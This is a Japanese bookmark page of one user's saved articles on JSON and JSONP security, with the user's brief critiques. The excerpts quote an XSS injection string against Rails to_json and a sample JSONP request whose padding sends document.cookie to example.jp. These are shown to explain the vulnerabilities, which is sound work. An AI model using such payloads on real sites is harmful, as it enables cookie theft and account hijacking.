タグ

jsonに関するockeghemのブックマーク (33)

  • #8371 (to_json cross site scripting security issue (XSS)) - Rails Trac - Trac

    Description To json is almost only used for injecting object hashes into javascript. var client = <%= client.to_json %>; Because to_json does not escape its values, it's easy to construct a Cross Site Scripting exploit. If client has a name attribute, to_json will come up with something like: var client = {attributes: {name: "TEST"}}; If we change the name to say: TEST"}}; alert('XSS!!') ;a={{" we

    ockeghem
    ockeghem 2007/10/16
    ダブルクォートのエスケープもれのようですね
  • Web 2.0的アプリのセキュリティ:再考「機密情報にJSONPでアクセスするな」|アークウェブのブログ

    SEの進地です。 2007年1月に投稿した「Web 2.0的アプリのセキュリティ:機密情報にJSONPでアクセスするな」は多くの方にお読みいただきました。誤りも指摘され、元エントリーに改修を加えましたが、かなり読みづらい状態になってしまっています。また、JSON、JSONPのセキュリティに関する新たな話題もSea Surfers MLで議論されているのを読み、自分自身の認識や理解も変化しているので、このエントリーでもう一度JSON、JSONP(+JavaScript)に機密情報を含めることの是非と方策を整理、検討したいと思います。 ○JSON、JSONP、JavaScriptによるデータ提供時にセキュリティ対策上留意すべき特徴 JSON、JSONP、JavaScriptによるデータ提供時に留意すべき特徴としてあるのが、「クロスドメインアクセス可能」というものです。JSONPだけでなく、JS

    ockeghem
    ockeghem 2007/09/11
    クロスドメインの問題と考えずに、アクセス制御の問題と考えればすっきり解決できるのでは?
  • 第6回 WebAPI、認証APIのセキュリティ | gihyo.jp

    WebAPIの公開 APIとは、何らかの機能を提供するプログラムのことです。WebAPIとは、Webで提供されたAPIということです。たとえば、地図データを提供するAPIや商品の検索結果を提供するAPIが有名です。なるべく多くの人にアクセスしてほしい情報を持っている企業は、WebAPIとして情報を提供することが多くなりました。WebAPIという便利なインターフェースを用意することで多くのユーザにアクセスしてもらい、広告ビジネス等につなげていくのが狙いです。 またWebAPIは、多くの形式に対応していたほうが、多くのユーザに利用してもらうことができるため、なるべく多くの出力形式に対応しようとする傾向があります。以前はSOAPという形式が多く使われていましたが、実装方法が煩雑であったため、現在ではREST、JSON、JSONPのように実装がシンプルな形式のものが多く使われています。 WebAP

    第6回 WebAPI、認証APIのセキュリティ | gihyo.jp
    ockeghem
    ockeghem 2007/09/05
    高木さんの言うとおりだよねぇ。身も蓋もない言い方すると、文章が下手。精進してちょ。「何らかの機能を提供するプログラム」<これではプログラム一般のことです
  • 第4回 Flash、JSONでのクロスドメインアクセス | gihyo.jp

    Flashを用いたクロスドメインアクセス 前回までは、クロスドメインアクセスを行うための方法として、リバースProxyを使う方法とJSONPを使う方法を紹介しましたが、どちらの方法も少し変わった方法だったと思います。なにか無理やりのように感じた方もいるのではないでしょうか。今回紹介するFlashを使った方法では前回までの方法とは違い、自然な形でクロスドメインアクセスを行うことができます。 Flashでは、呼び出される側で設定を行うことでクロスドメインアクセスが可能になります。 設定といっても非常に簡単で、呼び出される側のWebサーバにcrossdomain.xmlというファイルを設置するだけです。このときのURLは http://www.example.com/crossdomain.xml となります。 ファイルの内容は以下のようになります。 crossdomain.xmlの内容 <cr

    第4回 Flash、JSONでのクロスドメインアクセス | gihyo.jp
    ockeghem
    ockeghem 2007/08/08
    Flashなどからクロスドメインでアクセスできない場合でも、直接アクセスは可能。なぜクロスドメインのアクセスに注意が必要か説明が欲しい。「どの方法もその場しのぎような感じがあります」<ここは同意
  • IBM Developer

    IBM Developer is your one-stop location for getting hands-on training and learning in-demand skills on relevant technologies such as generative AI, data science, AI, and open source.

    IBM Developer
    ockeghem
    ockeghem 2007/07/22
    扱っている題材は新しいが、対策手法が古臭い。新しいワインを古い皮袋に入れるようなもの
  • ITmedia エンタープライズ:実は、Ajaxのウラにこそ勝算がある (1/5)

    実は、Ajaxのウラにこそ勝算がある:Web 2.0で変わるWebプログラミングの常識(1/5 ページ) 見た目にインパクトが大きいAjax利用のWebアプリケーション。しかし、その見た目を支える要となるものは、背後にある有益な情報処理と活用方法だ。Ajaxのインパクトに負けないWebアプリはどのように作られるのか? このオンライン・ムックPlus「Web 2.0で変わるWebプログラミングの常識」では、これまでにAjaxの概要(第1回)から発展系としてどのような取り組みあるのか(第2回)、そして、効率的な組み込み方法の一つとしてJSONと呼ばれるデータ形式のやり取り(第3回)について解説した。 この一連の特集を読むことで、プログラミングノウハウを一から十まですべてを学べるほどのボリュームは詰め込めないが、それでも最低限押さえておくべきポイントが理解できるはずだ。今回の記事でテーマとなるの

    ITmedia エンタープライズ:実は、Ajaxのウラにこそ勝算がある (1/5)
  • 日記

    このブログを動かしているブログエンジンですが、地味にマイナーバージョンアップしていっています。 今回は、最近大手検索エンジンが軒並み対応を表明しているサイトマップファイルへの対応と、ブログについたコメントをウォッチしたい人向けにコメント一覧の RSS 出力も追加しました。 このブログのサイトマップファイル(sitemap.xml) このブログのコメント一覧 RSS 今までこのブログには、「ブログの全エントリ一覧」というページがあって、そのページ経由で上手く検索エンジンにインデックスされることを期待していて、実際、ほぼすべてのページがきちんとインデックスされているようでした。 しかし、私のブログのエントリ数が1000件を越えたあたりから、Google が全エントリ一覧のページをクロールする際にタイムアウトしているというレポートが Google ウェブマスターツールの方に表示されるよ

  • 機密情報にJSONPでアクセスするな

    2007年6月7日 はてなブックマークのコメントをうけて、「常にJSONP、JSON、JavaScriptに機密事項を含めないように」という主張を改め、「クロスドメインアクセスの対策をとっていない状態ではJSONP、JSON、JavaScriptに機密事項を含めないように」という主張に関して記述しました。 こんにちは、SEの進地です。 今回から週単位でWebアプリケーションのセキュリティに関するエントリーを書いていこうと思います。 僕自身、日々勉強して精進というところですので、もし何らかの誤りがあれば是非ご指摘ください。 つっこみ大歓迎です。 今回取り上げるのはWeb 2.0なアプリケーションでセキュリティ面で気をつけるべきことの一つ、機密情報にJSONPでアクセスするなです。 JSON(JavaScript Object Notation)はJavaScript(ECMAScript)の

    ockeghem
    ockeghem 2007/05/28
    「機密情報にJSONPでアクセスするな」<このタイトルは、JSONP使うなって言うのと同じだよなぁ
  • GMailのコンタクトリスト漏洩とプライベートJSONP - snippets from shinichitomita’s journal

    GMailのコンタクトリストが外部から呼び出し可能になってしまってた件について。 Google内プライベートなはずのデータが、関係のない外部のサイトからもスクリプト経由で読み込まれてしまうというもの。 http://ajaxian.com/archives/gmail-csrf-security-flaw でもこれってCSRFっていうのかな?なんか問題がちょっと違ってるような気もするけど。CSRFは情報が抜き取れるかどうかってとこは別に関係ないはずだし。外部サイトにプライベートデータを盗まれるという脅威としてはCSSXSSに近いような。(追記:どうもCSRFの定義ってのはもうちょっと広いみたい) この騒ぎに呼応して、クロスサイトのセキュリティモデルについてまとめてあった。 http://labs.cybozu.co.jp/blog/kazuho/archives/2007/01/cross

    GMailのコンタクトリスト漏洩とプライベートJSONP - snippets from shinichitomita’s journal
  • 「拡張子ではなく、内容によってファイルを開くこと」の拡張子は Content-Type ではないことに注意 - 葉っぱ日記

    少し前に JSONP が XSS を引き起こすかもしれないという点に関する興味深い記事を奥さんが書かれていました。 Kazuho@Cybozu Labs: JSONP - データ提供者側のセキュリティについて JSONP における Padding 部分(だけでなくJSON部分も。4/5追記)に攻撃者が HTML と解釈可能なスクリプトを注入することにより、JSONP なデータを直接 IE で開いた場合に HTML と解釈され XSS が発生する、という点について書かれています。 ここで、IE が JSONP を HTML と解釈する理由は以下の2点。 IEのよく知られた機能「拡張子ではなく、内容によってファイルを開くこと」により、内容が HTML っぽい場合には、Content-Type: text/javascript が無視され HTML として解釈される。 上述の設定が「無効」に設定

    「拡張子ではなく、内容によってファイルを開くこと」の拡張子は Content-Type ではないことに注意 - 葉っぱ日記
  • Kazuho@Cybozu Labs: JSONP - データ提供者側のセキュリティについて

    « E4X-XSS 脆弱性について | メイン | 「スーパー技術者争奪戦」 » 2007年01月12日 JSONP - データ提供者側のセキュリティについて JSONP のセキュリティは、ともすればインクルードする側についての議論になりがちであり、その影でインクルードされる側のリスクが見過ごされがちです。JSONP の使用にあたっては、データ提供者への XSS に注意する必要があります。脆弱な例としては、以下のようなものがあります。 GET /json.cgi/append.html?padding=%3Cscript%3Elocation='http://example.jp/'%2Bdocument.cookie%3C/script%3E HTTP/1.0 Host: example.com HTTP/1.0 200 OK Content-Type: text/javascript;

  • RFC 4627 The application/json Media Type for JavaScript Object Notation (JSON)

  • Kazuho@Cybozu Labs: JavaScript の文字列定数でエスケープが必要な文字

    IE、 Firefox、 Safari ともに ECMAScript の仕様を満たしていません。IE6 は ECMAScript の仕様に対して上位互換だと言えるでしょうから、実質的に問題を抱えているのは Firefox のみ、ということになるのでしょうか。JSON を使う際には、注意が必要、と。 Firefox に関して言えば、 (Control Character があるとエラーになるのではなく読み落とすという性質からして) 仕様ではなくバグだと考えるのが妥当なのかなと思いました。 参考: テストコード 10:28 追記: NUL 文字について表に含めるのを忘れていたので追加しました 10:48 追記: Safari を追加 2009/02/17 追記: Firefox のバグは 2008 年 8 月に修正されたようです (ChangeLog の3.147)